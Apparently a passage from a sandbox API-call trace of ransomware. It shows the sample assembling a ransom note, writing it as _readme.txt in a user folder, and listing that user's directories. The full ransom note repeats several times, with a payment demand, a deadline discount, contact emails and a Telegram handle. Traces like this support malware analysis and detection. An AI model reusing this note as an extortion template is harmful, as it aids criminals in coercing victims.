tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.737] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.737] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3307758 [0112.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0112.739] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x930) returned 0x3326e28 [0112.739] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x895) returned 0x331d740 [0112.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331d740, cbMultiByte=2197, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 1174 [0112.739] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x331dfe0 [0112.739] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned 1173 [0112.739] WriteFile (in: hFile=0x620, lpBuffer=0x331dfe0*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x3b2fb64, lpOverlapped=0x0 | out: lpBuffer=0x331dfe0*, lpNumberOfBytesWritten=0x3b2fb64*=0x495, lpOverlapped=0x0) returned 1 [0112.740] CloseHandle (hObject=0x620) returned 1 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331dfe0 | out: hHeap=0x660000) returned 1 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284a40 [0112.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd5136ef0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd5136ef0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284a40 | out: hHeap=0x660000) returned 1 [0112.740] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd5136ef0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd5136ef0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.740] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba300 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.740] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.741] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x54) returned 0x3294720 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a6888 | out: hHeap=0x660000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.741] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dcb0 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3294720 | out: hHeap=0x660000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0112.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.741] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d34a350, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9d34a350, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8) returned 0x3206400 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0112.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd60 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dcb0 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.742] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x95971d30, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x95971d30, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0112.742] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfc) returned 0x328fea0 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dcb0 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0112.743] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0112.743] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd60 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0112.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.743] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16c) returned 0x7549e0 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f138 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd60 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326ddb8 [0112.743] 